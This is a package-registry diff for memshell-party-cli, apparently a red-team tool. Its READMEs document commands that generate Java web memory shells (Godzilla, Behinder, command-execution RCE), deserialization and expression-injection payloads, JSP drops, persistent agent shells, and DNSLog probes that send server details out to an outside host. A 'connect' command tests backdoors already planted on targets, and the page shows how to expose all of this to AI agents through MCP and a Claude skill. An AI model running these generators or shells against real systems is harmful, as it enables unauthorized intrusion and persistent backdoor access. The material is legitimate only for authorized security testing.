memshell-party-cli 0.1.1 → 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -21
- package/README.md +33 -0
- package/README.zh-CN.md +300 -0
- package/dist/cli.js +765 -6
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +53 -1
- package/dist/index.js +673 -1
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/skills/{memshell-party/SKILL.md → SKILL.md} +21 -1
package/LICENSE
CHANGED
|
@@ -1,21 +1,21 @@
|
|
|
1
|
-
MIT License
|
|
2
|
-
|
|
3
|
-
Copyright (c) 2026 memshell-party-cli contributors
|
|
4
|
-
|
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
-
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
-
in the Software without restriction, including without limitation the rights
|
|
8
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
-
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
-
furnished to do so, subject to the following conditions:
|
|
11
|
-
|
|
12
|
-
The above copyright notice and this permission notice shall be included in all
|
|
13
|
-
copies or substantial portions of the Software.
|
|
14
|
-
|
|
15
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
-
SOFTWARE.
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 memshell-party-cli contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,7 @@
|
|
|
1
1
|
# memshell-party-cli
|
|
2
2
|
|
|
3
|
+
English | [中文](README.zh-CN.md)
|
|
4
|
+
|
|
3
5
|
Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
|
|
4
6
|
memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
|
|
5
7
|
same HTTP API that powers `party.mem.mk/ui`.
|
|
@@ -14,6 +16,8 @@ same HTTP API that powers `party.mem.mk/ui`.
|
|
|
14
16
|
- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
|
|
15
17
|
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
16
18
|
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
19
|
+
- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
|
|
20
|
+
is alive and the credentials work (echo/handshake round-trip).
|
|
17
21
|
- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
|
|
18
22
|
- **Any backend** — defaults to the public site, override to your self-hosted instance.
|
|
19
23
|
|
|
@@ -101,6 +105,35 @@ Probe method × content matrix (only these combos are supported by the backend):
|
|
|
101
105
|
| `Sleep` | `Server` |
|
|
102
106
|
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
103
107
|
|
|
108
|
+
### Testing a deployed shell
|
|
109
|
+
|
|
110
|
+
`memparty connect` checks whether a shell that is already injected/uploaded actually answers —
|
|
111
|
+
it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
|
|
112
|
+
tunnel handshake) and exits 0 on success, 1 on failure.
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
# Godzilla (defaults: --pass pass --key key)
|
|
116
|
+
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
|
|
117
|
+
|
|
118
|
+
# Behinder (default: --pass rebeyond)
|
|
119
|
+
memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
|
|
120
|
+
|
|
121
|
+
# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
|
|
122
|
+
memparty connect -u http://target/suo5.jsp -t suo5
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
Shells generated by MemShellParty are gated by an auth header — the values are in the
|
|
126
|
+
`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
|
|
127
|
+
(the Suo5v2 shell checks it too):
|
|
128
|
+
|
|
129
|
+
```bash
|
|
130
|
+
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
131
|
+
--header-name User-Agent --header-value qSGAJScj
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
|
|
135
|
+
`--json` for machine-readable output, `--timeout <ms>` (global option).
|
|
136
|
+
|
|
104
137
|
## Demos
|
|
105
138
|
|
|
106
139
|
End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
|
package/README.zh-CN.md
ADDED
|
@@ -0,0 +1,300 @@
|
|
|
1
|
+
# memshell-party-cli
|
|
2
|
+
|
|
3
|
+
[English](README.md) | 中文
|
|
4
|
+
|
|
5
|
+
[MemShellParty](https://party.mem.mk) 的命令行客户端 **兼** MCP 服务器 —— 直接在终端(或 AI
|
|
6
|
+
代理)里生成 Java 内存马和探测马,走的是与 `party.mem.mk/ui` 相同的 HTTP API。
|
|
7
|
+
|
|
8
|
+
> ⚠️ 仅限授权安全测试、红队行动与研究用途。如何使用由你自己负责。
|
|
9
|
+
|
|
10
|
+
## 功能特性
|
|
11
|
+
|
|
12
|
+
- **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
|
|
13
|
+
服务器 / 工具 / 类型 / 打包器。
|
|
14
|
+
- **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现。
|
|
15
|
+
- **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
|
|
16
|
+
- **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
|
|
17
|
+
- **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
|
|
18
|
+
凭证是否正确(回显 / 握手双向校验)。
|
|
19
|
+
- **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
|
|
20
|
+
base64 解码)。
|
|
21
|
+
- **任意后端** —— 默认使用公共站点,可切换为自建实例。
|
|
22
|
+
|
|
23
|
+
## 安装
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
npm install -g memshell-party-cli
|
|
27
|
+
# 或者免安装直接运行:
|
|
28
|
+
npx memshell-party-cli gen
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
要求 Node.js >= 18。
|
|
32
|
+
|
|
33
|
+
## 选择后端
|
|
34
|
+
|
|
35
|
+
优先级从高到低:`--api` 参数 → `MEMPARTY_API_URL` 环境变量 → `~/.mempartyrc`
|
|
36
|
+
(`{"apiUrl": "..."}`)→ 默认 `https://party.mem.mk`。
|
|
37
|
+
|
|
38
|
+
建议自建(Docker 一行命令,见 MemShellParty 的 README):
|
|
39
|
+
|
|
40
|
+
```bash
|
|
41
|
+
memparty --api http://127.0.0.1:8080 gen
|
|
42
|
+
# 或者
|
|
43
|
+
export MEMPARTY_API_URL=http://127.0.0.1:8080
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## 用法
|
|
47
|
+
|
|
48
|
+
### 交互模式
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
memparty gen # 内存马向导
|
|
52
|
+
memparty probe # 探测马向导
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
当必需参数缺失且处于终端环境时,向导会自动启动。随时可用 `-i` 强制开启,或用
|
|
56
|
+
`--no-interactive` 禁用。
|
|
57
|
+
|
|
58
|
+
### 脚本化生成
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# 生成 Tomcat 哥斯拉 Listener,单个 Base64 payload 输出到 stdout
|
|
62
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
63
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
64
|
+
|
|
65
|
+
# 写出解码后的 .class 文件(.class/.jar 会自动 base64 解码)
|
|
66
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
67
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
68
|
+
|
|
69
|
+
# 指定加密器的命令执行马
|
|
70
|
+
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
71
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
72
|
+
|
|
73
|
+
# 输出完整 JSON(元数据 + payload),便于后续处理
|
|
74
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
`--jdk` 接受 `java6/8/9/11/17/21`、纯数字(`8`)或 class 文件主版本号(`52`)。
|
|
78
|
+
|
|
79
|
+
注意:部分打包器(如 `Base64`)是*聚合*打包器,会一次返回多个变体;要单个 payload 请选
|
|
80
|
+
叶子打包器(如 `DefaultBase64`、`GzipBase64`)。
|
|
81
|
+
|
|
82
|
+
### 查询可用选项
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
memparty config servers # 服务器及其 shell 类型
|
|
86
|
+
memparty config tools Tomcat # 指定服务器的工具 + 类型
|
|
87
|
+
memparty config packers # 打包器父子树
|
|
88
|
+
memparty config command # Command 马的加密器与实现类
|
|
89
|
+
memparty config servers --json # 机器可读输出
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### 探测马
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
|
|
96
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
探测方法 × 内容矩阵(后端仅支持以下组合):
|
|
100
|
+
|
|
101
|
+
| 方法 `-m` | 支持的内容 `-c` |
|
|
102
|
+
|-----------|------------------|
|
|
103
|
+
| `DNSLog` | `Server`, `JDK` |
|
|
104
|
+
| `Sleep` | `Server` |
|
|
105
|
+
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
106
|
+
|
|
107
|
+
### 测试已部署的马
|
|
108
|
+
|
|
109
|
+
`memparty connect` 检查已经注入 / 上传的 shell 是否真的会应答 —— 它执行真实的协议握手
|
|
110
|
+
(冰蝎回显、哥斯拉 payload 上传 + `test()` 调用、suo5 隧道握手),成功退出码 0,失败 1。
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# 哥斯拉(默认:--pass pass --key key)
|
|
114
|
+
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
|
|
115
|
+
|
|
116
|
+
# 冰蝎(默认:--pass rebeyond)
|
|
117
|
+
memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
|
|
118
|
+
|
|
119
|
+
# suo5(自动识别 v2 握手与旧版 v1 回显;可用 --suo5-mode v2|v1 强制指定)
|
|
120
|
+
memparty connect -u http://target/suo5.jsp -t suo5
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
MemShellParty 生成的 shell 带门禁头校验 —— 取值在 `gen --json` 输出的
|
|
124
|
+
`shellToolConfig.headerName` / `headerValue` 中,**必须**原样传给 connect
|
|
125
|
+
(Suo5v2 的 shell 同样校验):
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
129
|
+
--header-name User-Agent --header-value qSGAJScj
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
其他参数:`-H "Name: value"` 添加自定义请求头,`-k/--insecure` 跳过自签名 TLS 校验,
|
|
133
|
+
`--json` 机器可读输出,`--timeout <ms>`(全局选项)。
|
|
134
|
+
|
|
135
|
+
## 示例
|
|
136
|
+
|
|
137
|
+
端到端配方。**打包器**按投递途径选择,**shell 类型**按目标选择(Tomcat 10+ /
|
|
138
|
+
Spring Boot 3 加 `Jakarta` 前缀;`Agent*` 类型搭配 `AgentJar*` 打包器)。拿不准时先运行
|
|
139
|
+
`memparty config tools <server>` 和 `memparty config packers`。
|
|
140
|
+
|
|
141
|
+
### 1. Tomcat 9(javax)上的哥斯拉内存马
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# Listener 型哥斯拉马,单个 base64 payload 到 stdout
|
|
145
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
146
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
147
|
+
|
|
148
|
+
# ……或直接把解码后的注入器 .class 写到磁盘
|
|
149
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
150
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3(Jakarta)
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
|
|
157
|
+
--godzilla-pass pass --godzilla-key key --jdk java17
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### 3. 纯命令执行马(RCE)
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
164
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### 4. 反序列化利用链(如 CommonsBeanutils ≤ 1.9.4)
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
|
|
171
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
172
|
+
# 其他链:JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
### 5. 表达式注入投递(SpEL / OGNL / EL / Groovy …)
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
# Spring SpEL 注入 -> define + load shell 类(Spring 用 Interceptor,不是 Filter)
|
|
179
|
+
memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
|
|
180
|
+
--command-param-name cmd --jdk java8
|
|
181
|
+
# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
|
|
182
|
+
# (SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体)
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### 6. 落地一个 JSP 文件
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
|
|
189
|
+
--godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
### 7. Java agent 内存马(扛得住重部署,挂钩更深)
|
|
193
|
+
|
|
194
|
+
```bash
|
|
195
|
+
memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
|
|
196
|
+
--godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### 8. 先做(盲)指纹识别
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# DNSLog:确认可执行代码,并通过 DNS 带出服务器/JDK 名称
|
|
203
|
+
memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
|
|
204
|
+
# Sleep:时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
|
|
205
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
|
|
209
|
+
|
|
210
|
+
### 解析类名
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
memparty parse-classname --file shell.class
|
|
214
|
+
memparty parse-classname <class字节的base64>
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### 版本
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
memparty version # CLI 版本 + 后端服务器版本
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
## MCP 服务器
|
|
224
|
+
|
|
225
|
+
以 stdio 方式作为 MCP 服务器运行:
|
|
226
|
+
|
|
227
|
+
```bash
|
|
228
|
+
memparty mcp --api http://127.0.0.1:8080
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
Claude Code / Claude Desktop 配置示例:
|
|
232
|
+
|
|
233
|
+
```json
|
|
234
|
+
{
|
|
235
|
+
"mcpServers": {
|
|
236
|
+
"memshell-party": {
|
|
237
|
+
"command": "npx",
|
|
238
|
+
"args": ["-y", "memshell-party-cli", "mcp"],
|
|
239
|
+
"env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
|
|
240
|
+
}
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
|
|
246
|
+
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`。
|
|
247
|
+
|
|
248
|
+
## AI 技能(Claude Code)
|
|
249
|
+
|
|
250
|
+
本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills),位于
|
|
251
|
+
`skills/memshell-party/SKILL.md`,教 AI 代理如何驱动 MemShellParty ——
|
|
252
|
+
服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导,以及常见坑
|
|
253
|
+
(Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器)。
|
|
254
|
+
|
|
255
|
+
安装到项目中(或放到 `~/.claude/skills/` 全局使用):
|
|
256
|
+
|
|
257
|
+
```bash
|
|
258
|
+
# 在包根目录下,或 npm install memshell-party-cli 之后:
|
|
259
|
+
mkdir -p .claude/skills
|
|
260
|
+
cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
之后用自然语言提问即可,比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
|
|
264
|
+
*"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
|
|
265
|
+
先枚举选项,再按投递途径选合适的打包器。
|
|
266
|
+
|
|
267
|
+
## 编程调用
|
|
268
|
+
|
|
269
|
+
包内还提供带类型的 API 客户端:
|
|
270
|
+
|
|
271
|
+
```ts
|
|
272
|
+
import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
|
|
273
|
+
|
|
274
|
+
const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
|
|
275
|
+
const res = await client.generateMemShell(
|
|
276
|
+
buildMemShellRequest({
|
|
277
|
+
server: "Tomcat",
|
|
278
|
+
shellTool: "Godzilla",
|
|
279
|
+
shellType: "Listener",
|
|
280
|
+
packer: "DefaultBase64",
|
|
281
|
+
godzillaPass: "pass",
|
|
282
|
+
godzillaKey: "key",
|
|
283
|
+
jdk: "java8",
|
|
284
|
+
}),
|
|
285
|
+
);
|
|
286
|
+
console.log(res.memShellResult.shellClassName, res.packResult);
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
## 开发
|
|
290
|
+
|
|
291
|
+
```bash
|
|
292
|
+
npm install
|
|
293
|
+
npm run build # tsup -> dist/
|
|
294
|
+
npm test # vitest
|
|
295
|
+
npm run typecheck # tsc --noEmit
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
## 许可证
|
|
299
|
+
|
|
300
|
+
MIT
|